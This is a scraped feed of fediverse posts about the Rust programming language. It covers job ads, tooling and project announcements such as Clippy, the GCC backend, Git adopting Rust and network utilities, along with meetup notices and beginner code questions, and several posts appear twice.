Job Description: https://grnh.se/op1xycx2teu
#Proton is office-first, with people coming in 3 days a week. Lunch is provided for you!
Please boost if you know a great Rust developer! If **I know you, please reach out directly** and I can refer you internally!
#rustlang #privacy #protoncalendar #protonmail #protonvpn #FediHire
job-boards.eu.greenhouse.io
Barcelona; Geneva; London;
Hi #Rust developers! My Calendar team at @protonprivacy is #hiring! We are looking to fill several positions at our offices in #Barcelona, #Geneva, and #london
Job Description: https://grnh.se/op1xycx2teu
#Proton is office-first, with people coming in 3 days a week. Lunch is provided for you!
Please boost if you know a great Rust developer! If **I know you, please reach out directly** and I can refer you internally!
#rustlang #privacy #protoncalendar #protonmail #protonvpn #FediHire
job-boards.eu.greenhouse.io
Barcelona; Geneva; London;
why does rewriting bots in #rust cause wrinkles to disappear?
because it's bot ox(idation)
alright, that's enough for tonight.
I'm honestly surprised this app is still so small, considering how much stuff is built out already. We're currently clocking in at ~7.2kloc of Rust in my products branch, and that includes a rudimentary CMS, part of a buildout of an ecommerce shop, and a toooon of supporting features like multicurrency lib stuff, i18n, custom themes, a whole config/settings infra thing that integrates with clap, database stuff (with fully written-out sql queries), a mailer worker in an integrated worker queue, and more? That really doesn't feel like just 7.2kloc worth of work.
VectorWare – from creators of `rust-GPU` and `rust-CUDA`
Link: https://www.vectorware.com/blog/announcing-vectorware/
Discussion: https://news.ycombinator.com/item?id=45683153
news.ycombinator.com
"What we learned with Clippy's feature freeze"
> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.
https://blog.rust-lang.org/inside-rust/2025/10/22/clippys-feature-warming-up/
Graph of pull requests throughout Clippy's lifetime, with an all-time peak
"What we learned with Clippy's feature freeze"
> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.
https://blog.rust-lang.org/inside-rust/2025/10/22/clippys-feature-warming-up/
Graph of pull requests throughout Clippy's lifetime, with an all-time peak
After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.
Should simplify things for a lot of us. :)
github.com
Fixes #2938.
After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.
Should simplify things for a lot of us. :)
github.com
Fixes #2938.
hackeryarn.com
Macros are required to do some very helpful things in Rust, but this isn’t an article about any of those things. I became enamored with macros many years ago when I read Practical Common Lisp and saw the implementation of a SQL DSL that works with built in data structures. The whole implementation took less than a screen of code and absolutely blew away my expectations of what it took to create DSLs.
hackeryarn.com
Macros are required to do some very helpful things in Rust, but this isn’t an article about any of those things. I became enamored with macros many years ago when I read Practical Common Lisp and saw the implementation of a SQL DSL that works with built in data structures. The whole implementation took less than a screen of code and absolutely blew away my expectations of what it took to create DSLs.
"How we organized the Rust Clippy feature freeze"
A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.
blog.goose.love
"How we organized the Rust Clippy feature freeze"
A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.
blog.goose.love
The Rust GCC backend is now tested as part of the Rust merge CI process. \o/
We should now hopefully spend a lot less time on syncs and focus on increase the support for the GCC backend.
github.com
Part of rust-lang/compiler-team#891. r? @Kobzol
ipgrep is a #linux CLI tool that doesn't search by regex, but by IP-CIDR:
https://github.com/ossobv/ipgrep
It can come in handy when you're debugging route tables, firewalls, extracting IPs or networks from text files...
Example:
```
$ ipgrep -m within 127.0.1.0/24 /etc/hosts
127.0.1.1 wortel.kiwi wortel
```
Written in #rust #rustlang . My #infosec #cybersecurity peers might appreciate it.
The image shows a prompt of ipcalc piped to ipgrep. ipcalc outputs IP network information, in this case 192.168.32.0/19 among others. ipgrep searches for 192.168.43.21 and finds 192.168.32.0/19. The match is colorized, as with regular grep. And 1 line of context is shown above and below the match.
porting stuff from C# to #Rust I'm doing exactly this.
I was spending a lot time organising and rearranging. creating abstraction layers for myself for hypothetical code reuse that would never happen.
good post about it by @nikitonsky:
tonsky.me
Always prefer concrete code to abstract one. Don’t try to solve problems you don’t have.
> Why don't the folks making #rust talk about what it is bad at?
90% of managing #rustlang is properly communicating, discussing and addressing the ways in which Rust sucks.
The all-hands in NL earlier this year was wall to wall meetings about how much things suck and what to do about them!
I mean this in the best possible way. ^_^
Miro is an open-source cross-platform PDF reader designed to address the author's issues with Adobe Acrobat and other PDF readers. Miro is implemented in Rust using the iced toolkit.
Blog post: https://www.vincentuden.xyz/blog/pdf-reader
Repo: https://github.com/vincent-uden/miro
github.com
A native pdf viewer for Windows and Linux (Wayland/X11) with configurable keybindings. - vincent-uden/miro
Miro is an open-source cross-platform PDF reader designed to address the author's issues with Adobe Acrobat and other PDF readers. Miro is implemented in Rust using the iced toolkit.
Blog post: https://www.vincentuden.xyz/blog/pdf-reader
Repo: https://github.com/vincent-uden/miro
github.com
A native pdf viewer for Windows and Linux (Wayland/X11) with configurable keybindings. - vincent-uden/miro
Pyrefly: Python type checker and language server in Rust
Link: https://pyrefly.org/?featured_on=talkpython
Discussion: https://news.ycombinator.com/item?id=45579275
news.ycombinator.com
The Rust GCC backend is now tested as part of the Rust merge CI process. \o/
We should now hopefully spend a lot less time on syncs and focus on increase the support for the GCC backend.
github.com
Part of rust-lang/compiler-team#891. r? @Kobzol
How to write a simple kernel module for FreeBSD in Rust - Article and sample code by NCC Group #Rust #FreeBSD https://www.nccgroup.com/research-blog/writing-freebsd-kernel-modules-in-rust/
nccgroup.com
How to write a simple kernel module for FreeBSD in Rust - Article and sample code by NCC Group #Rust #FreeBSD https://www.nccgroup.com/research-blog/writing-freebsd-kernel-modules-in-rust/
nccgroup.com
New Rust GCC backend progress report:
https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-38
blog.antoyo.xyz
Antoyo's Personal Blog
New Rust GCC backend progress report:
https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-38
blog.antoyo.xyz
Antoyo's Personal Blog
Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)
Highlights:
Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!
Like this whole thing? Please support us if can comfortably do so: https://mastodon.social/@conjured_ink/115347161647458655
#KDL #POSSE #IndieWeb #Rust #RustLang #StopPayPros #BoostsWelcome
// theme.kdl name example-theme label "Example Theme" description "An example Silverfish theme." author "Kat Marchán" email=kzm@zkat.tech keywords default simple.css lightweight basic
File tree showing a very simple theme package file structure
Example home page theme, showing off jinja template syntax
Screenshot from the home page itself, using the theme
Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)
Highlights:
Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!
Like this whole thing? Please support us if can comfortably do so: https://mastodon.social/@conjured_ink/115347161647458655
#KDL #POSSE #IndieWeb #Rust #RustLang #StopPayPros #BoostsWelcome
// theme.kdl name example-theme label "Example Theme" description "An example Silverfish theme." author "Kat Marchán" email=kzm@zkat.tech keywords default simple.css lightweight basic
File tree showing a very simple theme package file structure
Example home page theme, showing off jinja template syntax
Screenshot from the home page itself, using the theme
So over at @conjured_ink, we've been seeing some annoying compilation times issue on the webapp we're working on (Axum based), and we're looking at trying to split it into crates and see if that helps with the issue.
The problem is, we're not really sure how to split it: should it be by feature? By function? Should each view+model+controller combo have its own crate? Or should all views go in a single crate, then all models, then all controllers? Or maybe every one of those should get an individual crate to themselves (since we actually have TWO webapps and they're gonna reuse code from one another)?
Do y'all have experience doing this kind of split? Are there any examples or wisdom you can share?
So I finally switched from Hyprland to Niri.
And both don't have a feature I really want, which is to globally disable all shortcuts as a toggle.
But since Niri is written in #rustlang, I implemented it myself 
and opened a PR.
And thanks to #nixos I am already using it while its in the PR pipeline, as I patched it in :D
So I finally switched from Hyprland to Niri.
And both don't have a feature I really want, which is to globally disable all shortcuts as a toggle.
But since Niri is written in #rustlang, I implemented it myself and opened a PR.
And thanks to #nixos I am already using it while its in the PR pipeline, as I patched it in :D
Na naszym kanale YouTube pojawił się film z wystąpienia Kamili Drzewieckiej (@MarkAssPandi) “Sztuka tworzenia koła od nowa”, które miało miejsce podczas 19. Sesji Linuksowej.
🎥 Link do filmu: https://youtu.be/EV6pLE8CUrk
Zapraszamy do oglądania prelekcji i subskrybowania kanału.
Obejrzyj film - “Sztuka tworzenia koła od nowa”. Pingwin w okularach 3D i z wiadrem popcornu wygląda zza miniatury filmu YouTube. Na dole znajduje się logo 19. Sesji Linuksowej.
Missed a meetup? Or don’t live in Seoul? We’ve got a YouTube channel now! We’ve just uploaded our talks from last week.
youtube.com
친구, 가족을 비롯해 전 세계 사람들과 동영상 공유
Awesome embedded #Ratatui workshop with Tokyo #Rust, @orhun and Mousefood by @j_g00da !
To be honest I didn’t get the appeal of embedded before tonight. But there is something about playing with that tiny screen that is surprisingly satisfying.
Orhun flexing his massive arms
Jagoda flexing her awesome brains
Orhun grinding riz
30+ Focused attendees and as many disappointed people on the waiting list…
I'm presently working on a pure Rust microkernel OS. I aim to add support for userspace device drivers and namespaces, similar to RedoxOS, and eventually hypervisor functionality like SEL4. open to contributions, just message me for pull requests.
https://git.shibedrill.site/shibedrill/gila
#rust #rustlang #osdev #liminebootloader
git.shibedrill.site
A simple OS microkernel written in Rust, and designed for security and modularity.
Seeking feedback from Bevy and Big Brain users: how does this new API look?
Under the hood, this would be a high-performance, low-overhead API powered by Observers, but this is all you would actually need to write yourself.
I'm pretty sure I can get this to work with Bevy's current featureset, including the Very Fun async actions situation here.
![#[derive(Debug, Default, Clone, Copy, Component)]
pub struct Thirsty;
#[scorer_for(Thirsty)]
pub fn score_thirsty(score: Score, thirsts: Query<&Thirst>) -> Score {
score.update(thirsts.get(score.actor()).unwrap().thirst)
}
#[derive(Debug, Clone, Copy, Component)]
pub struct Drink { rate: f32, per: Duration }
impl Default for Drink {
fn default() -> Self {
Self { rate: 0.5, per: Duration::from_millis(500), }
}
}
#[action_for(Drink)]
pub async fn drink_action(
action: Action<Drink>,
mut thirsts: Query<&mut Thirst>
) -> Result<(), ActionFailure> {
while let Ok(mut thirst) = thirsts.get(action.actor()) && thirst.thirst > 10.0 {
action.check_cancelled()?;
thirst.thirst -= action.data().rate;
action.sleep(action.data().per).await;
}
Ok(())
}
fn spawn_entity(cmd: &mut Commands) {
cmd.spawn((
Thirst(70.0, 2.0),
Thinker::new()
.picker(FirstToScore { threshold: 0.8 })
.when<Thirsty, Drink>(),
));
}](https://pool.jortage.com/tootcat/media_attachments/files/115/334/471/203/268/929/original/e48071584a2945bc.png)
#[derive(Debug, Default, Clone, Copy, Component)] pub struct Thirsty; #[scorer_for(Thirsty)] pub fn score_thirsty(score: Score, thirsts: Query<&Thirst>) -> Score { score.update(thirsts.get(score.actor()).unwrap().thirst) } #[derive(Debug, Clone, Copy, Component)] pub struct Drink { rate: f32, per: Duration } impl Default for Drink { fn default() -> Self { Self { rate: 0.5, per: Duration::from_millis(500), } } } #[action_for(Drink)] pub async fn drink_action( action: Action<Drink>, mut thirsts: Query<&mut Thirst> ) -> Result<(), ActionFailure> { while let Ok(mut thirst) = thirsts.get(action.actor()) && thirst.thirst > 10.0 { action.check_cancelled()?; thirst.thirst -= action.data().rate; action.sleep(action.data().per).await; } Ok(()) } fn spawn_entity(cmd: &mut Commands) { cmd.spawn(( Thirst(70.0, 2.0), Thinker::new() .picker(FirstToScore { threshold: 0.8 }) .when<Thirsty, Drink>(), )); }
The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. #GameDev #rust #bevy https://exofactory.net/blog/2025-10-07/
exofactory.net
The demo’s out on Steam for Linux and Windows. Trailer too! Packaging was rougher than expected, testing slipped, and I learned a lot. Animations and systems finally are there. Next up: better accessability, controllers, terrain rework, and mechanics. If you play the demo let me know what breaks.
FYI: As part of a larger move away from GitHub, I've archived Big Brain on it and moved all future development over to Codeberg, at https://codeberg.org/zkat/big-brain
Please use that repo from now on.
Additionally: I am in the process of trying a major rewrite of the crate that I'm hoping will be much simpler, and much more efficient, thanks to features now available in recent version of Bevy! I'm very excited :)
codeberg.org
Utility AI library for the Bevy game engine
The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. #GameDev #rust #bevy https://exofactory.net/blog/2025-10-07/
exofactory.net
The demo’s out on Steam for Linux and Windows. Trailer too! Packaging was rougher than expected, testing slipped, and I learned a lot. Animations and systems finally are there. Next up: better accessability, controllers, terrain rework, and mechanics. If you play the demo let me know what breaks.
Rust threading question:
I'm trying to start a background process that runs for the lifespan of the object.
I don't want to drop the handle since that'll leak the thread forever (?? Or does it get killed when the entire program runs to completion?).
Option<_> seemed like a nice way to defer the spawn call so I can set the handle after struct instantiation but then I wind up in lifetime hell adding `'static` to everything and somehow not solving it 
How would you approach this?
Code warning: ```rust struct HasBackgroundThread { state: u8, thread_handle: JoinHandle<()>, } impl HasBackgroundThread { fn reconciliation_loop(self: &Self) { loop { println!("{}", self.state) } } pub fn new(initial_state: u8) -> Self { // Can't spawn the thread first cause no struct instantiated let thread_handle = std::thread::spawn(???.reconciliation_loop); HasBackgroundThread { state: initial_state, thread_handle, } // Can't spawn it after cause no Default impl for JoinHandle<()> // and if we use Option<JoinHandle<()>> to add it later, lifetimes go bonkers } } ```
I'm just gonna keep waiting until the Bevy Editor finally comes out to try and write a game with the engine in earnest. I keep getting ideas but I just don't really wanna deal with writing something as complex and difficult as a game, with my hands tied behind my back any more than I have to.
that said, I'll probably be poking around the ecosystem sometime soon, after reading those updates on the observers in 0.17. They would make big-brain so much nicer to use, and probably simplify the implementation a lot (it would probably be a full rewrite?)
Hello #hackers & #usenet friends, I fixed the rss to usenet bot code https://git.sr.ht/~rek2/rek2_usenet_rss/commit/8625e1209f8aadec7f51b6e7a1bf20082b26b174 so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like #hacking #hispagatos #hackers etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is #usenet_reborn TUI #rust client you can find it on my sr.ht or crates.io Happy Hacking!!! #hackerculture
Hello #hackers & #usenet friends, I fixed the rss to usenet bot code https://git.sr.ht/~rek2/rek2_usenet_rss/commit/8625e1209f8aadec7f51b6e7a1bf20082b26b174 so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like #hacking #hispagatos #hackers etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is #usenet_reborn TUI #rust client you can find it on my sr.ht or crates.io Happy Hacking!!! #hackerculture
@blainsmith Nice picture of turning most of the programming's _cognitive load_ into actual problem at hand, instead of whether something is valid or legal. Exact reason why there's so many great projects created in #Rust.
#Codeberg Pages ist gerade down. Es gab mit dem Service schon länger Probleme, unter anderem deswegen, weil es zZ nur noch eine Maintainerin gibt. Es gibt aber gute Nachrichten! Ein neuer Server wird gebaut und das komplett in #Rust und #Nix! Wenn also jemensch Zeit hat unsere #digitalsovereignty , durch einen der größeren Konkurentinnen zu GitHub zu unterstützen, dann schaut euch vielleicht mal https://codeberg.org/Codeberg/pages-server-v3 an und helft mit!
codeberg.org
A WIP pages-server written by some volunteers in their free time
I think life is telling me to learn #rust. After a week of discovering amazing TUI’s written in Rust with https://ratatui.rs, I’ve stumbled on https://github.com/mozilla/uniffi-rs.
There are so many project ideas I can do with these.
github.com
a multi-language bindings generator for rust. Contribute to mozilla/uniffi-rs development by creating an account on GitHub.
Latest @GreenTeaCoding has me curious to try factoring my URL shortener into "clean architecture".
I get that gang of four and design patterns and hexagonal architecture and all that aren't....well all that but perhaps it'd be worthwhile as a learning exercise.
Also huge shout to green tea coding - love their videos
I have a ticket for EuroRust in Paris that I cannot make it to and cannot refund. Does anyone in Europe want it? Oct 9&10th with extras.
EuroRust is a 2 day conference for the European Rust community – October 9 & 10, 2025 – in Paris & online
@rubycentral
Continuing with #SFRuby meeting for September 2025.
... and here we are with André Arko (Spinel Coop) @indirect who will be taking about rv, a New Kind of Ruby Management Tool
- rv is made with #rust
- is based on portable-ruby, from Homebrew
Note: André was book for this meeting way before the #rubycentral fiasco in the #ruby community
André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
I have a ticket for EuroRust in Paris that I cannot make it to and cannot refund. Does anyone in Europe want it? Oct 9&10th with extras.
EuroRust is a 2 day conference for the European Rust community – October 9 & 10, 2025 – in Paris & online
RustNL will host the Rust All Hands again in 2026!
The All Hands will be part of RustWeek 2026, and take place on May 21-23.
@Mara's blog post has the details:
https://blog.rust-lang.org/inside-rust/2025/09/30/all-hands-2026/
blog.rust-lang.org
Want to follow along with Rust development? Curious how you might get involved? Take a look!
RustNL will host the Rust All Hands again in 2026!
The All Hands will be part of RustWeek 2026, and take place on May 21-23.
@Mara's blog post has the details:
https://blog.rust-lang.org/inside-rust/2025/09/30/all-hands-2026/
blog.rust-lang.org
Want to follow along with Rust development? Curious how you might get involved? Take a look!
Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!
This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!
(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)
Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build
I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).
The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."
Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.
endler.dev
Since my professional writing on Rust has moved…
Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!
This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!
(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)
Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build
Verschiedene #OpenSource-Infrastrukturanbieter, darunter die #Eclipse Foundation und die #Rust Foundation, fordern eine Neubewertung der Finanzierung ihrer stark ausgelasteten Basisdienste. Ziel ist ein faireres Finanzmodell, das den wachsenden Kosten und staatlichen Anforderungen gerecht wird. Kommerzielle Unternehmen könnten künftig mehr beitragen müssen.
https://www.heise.de/news/Rust-Python-und-Maven-suchen-neue-Geldquellen-10668963.html?seite=all
heise.de
In einer gemeinsamen Erklärung fordern gewichtige Open-Source-Anbieter, die Finanzierung ihrer Infrastruktur auf neue Beine zu stellen.
I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).
The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."
Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.
endler.dev
Since my professional writing on Rust has moved…
A couple weeks ago there was a post from someone talking about how they used #rust for municipal and governmental org projects. And not because of its safety features, but because you can ship and deploy using a single binary so the hosting complexity is so low.
Anyone know what I'm referring to? I can't find the post.
Check out Whispercap: a desktop app to transcribe audio & video into subtitles using Whisper models.
Built with #Rust + #Slint 🦀🖼️
Includes subtitle translation & editing tools.
Screenshot of whispercap
Screenshot of whispercap
Next Paris rust meetup will be organized in collaboration with @eurorust on the 8th of October.
You can register here: https://www.meetup.com/rust-paris/events/310424476
See you there!
meetup.com
(English version below) Ce Rust meetup Paris sera hébergé par Amo. L'adresse complète est : 22 Rue de la Michodière 75009 Paris Les rustacées de n'importe quel niveau so
https://spectrum.ieee.org/top-programming-languages-2025
#Ruby is within top 20 in all rankings.
However, #Rust is higher. And I feel Rust’s on the upward trajectory while Ruby’s not so much.
Python is an amazing phenomenon. It’s amazing how Ruby being conceptually very similar and, arguably, better in many regards languages managed to miss on all fronts. It missed the scientific community’s adoption. Python was the language for scientific calculations and statistics for a long time. And now it became the AI language. Ruby stayed the Rails language.
spectrum.ieee.org
Python reigns supreme again, but is AI changing the game for programming languages? Find out how coding is transforming.
Ready to share a preview of my first app, which I've been working on in my spare time for a while now, a GTK-based Typst editor called Typesetter.
It's designed to be clean, simple, and local-first, with syntax highlighting and live preview.
No Flatpak release yet, but you can clone the repository and give it a whirl in GNOME Builder if you're so inclined.
https://codeberg.org/haydn/typesetter
Still a work in progress. Contributions, bug reports, and ideas are welcome!
Wasm 3 bringt 64-Bit-Adressraum und Garbage Collection
Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.
heise.de
Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.
Hey, everyone! This Friday will be my last day at 1Password.
I have interviews in progress, and some of them are rather exciting.
But... are there any #rust companies hiring? I have five years of professional Rust experience and seven years of hobbyist experience. I am capable of both Senior engineering roles and Staff engineering roles, though my preference is more for a Senior role.
I'd be super excited to be doing Rust work in something like healthcare, climate change, or as support for a laboratory application.
Wasm 3 bringt 64-Bit-Adressraum und Garbage Collection
Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.
heise.de
Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.
From the #Git mailing list:
Introduce #Rust and announce that it will become mandatorty
https://lore.kernel.org/git/20250904-b4-pks-rust-breaking-change-v1-0-3af1d25e0be9@pks.im/T/#u
Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:
- Give us some time to experiment with Rust and introduce proper build infrastructure.
- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.
- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.
[…]""
Screenshot from the linked page
Is it possible to bind explicit lifetimes /between/ struct fields? Or only between structs themselves and their fields like a parent-child thing?
I want a master vector of actual resources and a hashmap where the values are references back into the master vector.
Idk I'm probably approaching this wrong
struct MyStruct<'owner> { map_of_references: HashMap<String, &'owner String>, master_collection: Vec<String<'owner>>, }
From the #Git mailing list:
Introduce #Rust and announce that it will become mandatorty
https://lore.kernel.org/git/20250904-b4-pks-rust-breaking-change-v1-0-3af1d25e0be9@pks.im/T/#u
Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:
- Give us some time to experiment with Rust and introduce proper build infrastructure.
- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.
- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.
[…]""
Screenshot from the linked page
Okay I'm stumped. I'm trying to abstract over some calls that return variations of `tonic::Response<>` using an empty extension trait, but the compiler has (understandably) given up and is just giving a fairly generic error message.
"mismatched types: type parameters must be constrained to match other types"
- Empty extension trait - check
- Function signature uses `tonic::Response<NodeGroupTemplateNodeInfoResponse>` - check
- Implemented extension trait for `tonic::Response<super::NodeGroupTemplateNodeInfoResponse>` - check
Is this the right approach even?
I want to `match` on CLI subcommands and make client calls but they all return different variants of `tonic::Response`
Do I just need totally different code arms?
trait MyExtension {} impl MyExtension for tonic::Response<NodeGroupTemplateNodeInfoResponse> {} async fn abstract_over_futures<T, U>(client: CloudProviderClient<Channel>, subcommand: MySubcommand) -> T where T: Future<Output = Result<U, tonic::Status>>, U: MyExtension { match subcommand { MySubcommand::NodeGroups(r) => match r { NodeGroupAction::GetNodeTemplate { id } => client.node_group_template_node_info(NodeGroupTemplateNodeInfoRequest{id}), _ => todo!(), }, _ => client.cleanup(CleanupRequest{}), } }
pub async fn node_group_template_node_info( &mut self, request: impl tonic::IntoRequest<super::NodeGroupTemplateNodeInfoRequest>, ) -> std::result::Result< tonic::Response<super::NodeGroupTemplateNodeInfoResponse>, tonic::Status, >
https://codeberg.org/arichtman/autosshcaler/src/commit/1a48a6e3e91f77c32296c91c2d345d0812615377/src/client.rs#L81
If you are interested in helping out with PipeWire development the Rust based Helvum pipeline viewer is looking for a new maintainer. https://gitlab.freedesktop.org/pipewire/helvum/-/issues/137
#linux #pipewire #opensource #rust
gitlab.freedesktop.org
Unfortunately, I've mostly lost interest and motivation to work on Helvum, so the project has already been inactive for over a year. I am now marking...
If you are interested in helping out with PipeWire development the Rust based Helvum pipeline viewer is looking for a new maintainer. https://gitlab.freedesktop.org/pipewire/helvum/-/issues/137
#linux #pipewire #opensource #rust
gitlab.freedesktop.org
Unfortunately, I've mostly lost interest and motivation to work on Helvum, so the project has already been inactive for over a year. I am now marking...
If you write a lot of business logic, don't be clever.
That is especially true for a powerful language like Rust.
I've collected a few notes on how to keep your code simple and boring.
corrode.dev
The phone buzzes at 3 AM. You roll out of bed, open your laptop, and see this in the logs: th…
social.lansky.name
Personal server of Lukáš Lánský
social.lansky.name
Personal server of Lukáš Lánský
Rocket.rs seems to be abandoned (bummer) so I'm looking for a new web backend written in Rust. Poem seems to be active and used on a few production sites. Is that the current fav among web-ish rustaceans? 🤷♂️
https://github.com/poem-web/poem
#rust
github.com
A full-featured and easy-to-use web framework with the Rust programming language. - poem-web/poem
I started poking #rust #GUI libraries and so far iced seams OK. What other libs people like? I can't use immediate mode libs because the data I am trying to display is behind the lock, otherwise ImGui is great, too. Anyway, if you have suggestions on what to try next, please do tell me. Just in case it matters, the app currently runs only on #FreeBSD (once I am confident the architecture is OK I will port it to Linux) so that OS has to be supported.
Tuesday, we dropped our report with insights from 16 top-level domain operators.
Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.
Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.
First up: the #1 request from the community — observability, please.
We heard you.
youtube.com
Alex Band explains how research insights from 16 TLDs has shaped Cascade
Tuesday, we dropped our report with insights from 16 top-level domain operators.
Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.
Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.
First up: the #1 request from the community — observability, please.
We heard you.
youtube.com
Alex Band explains how research insights from 16 TLDs has shaped Cascade
This is not helping me in the market but what I love doing the most is computer language engineering. I'm learning how to write an #LSP right now to support my born language in neovim. I also discovered #LLVM recently. It lets you compile to any target from a generic ASM. It made me realize something. The first languages where all compiled. Then, we got the interpreted languages. But recently, the new languages are all compiled again! Think of #rust, #go, #zig, #elixir. I wonder if it's because we perfected the tooling in a way that maintaining a compiled language is not that hard anymore. Go is a weird one. It has a garbage collector. Yeah! A compiled language with a garbage collector. It means that there is a process that is embedded in the executable to just do garbage collection. We might now have a real reason anymore to interpret.
Write your own Rust-based RISC-V hypervisor in 1000 lines of code by Seiya Nuta:
https://1000hv.seiya.me/en/
https://github.com/nuta/hypervisor-in-1000-lines
Seya also published a guide to write a C-based RISC-V OS in 1000 LoC:
https://github.com/nuta/operating-system-in-1000-lines
github.com
Writing an OS in 1,000 lines. Contribute to nuta/operating-system-in-1000-lines development by creating an account on GitHub.
Die Suche nach einem #iOS und/oder #macOS #Developer Job scheint momentan echt aussichtslos. Von daher versuch ich es einfach mal im #Backend.
Also, wenn jemand jemanden kennt, der jemanden kennt, der einen Job als Backend-Entwickler zu vergeben hat, ich bin fuer eine Remote-Festanstellung bereit. #Swift kann ich, #GoLang oder #Rust wuerde ich lernen muessen (und wollen!). Aber bitte *kein* Java.
Ihr duerft das gerne Teilen. Danke.
Built RustNet: A network monitor with deep packet inspection and TUI for Linux/macOS
Shows real-time connections with:
- Process identification
- Protocol detection (HTTP, TLS/SNI, DNS, QUIC)
- Connection states
- Multi-threaded packet processing
GitHub: https://github.com/domcyrus/rustnet
#rust #networking #cli #tui #opensource #rustlang #sysadmin #linux #macos
RustNet Demo TUI Application
#redox #rust #osdev #mobileunix
Ayyyyy lmao, Redox OS on Blackberry KEY2 LE!
Redox OS on a Blackberry KEY2 LE
Just finished moving a small #Rust CLI tool from GitHub to #codeberg.
* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.
here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows
overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.
#rustlang #codeberg
github.com
MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.
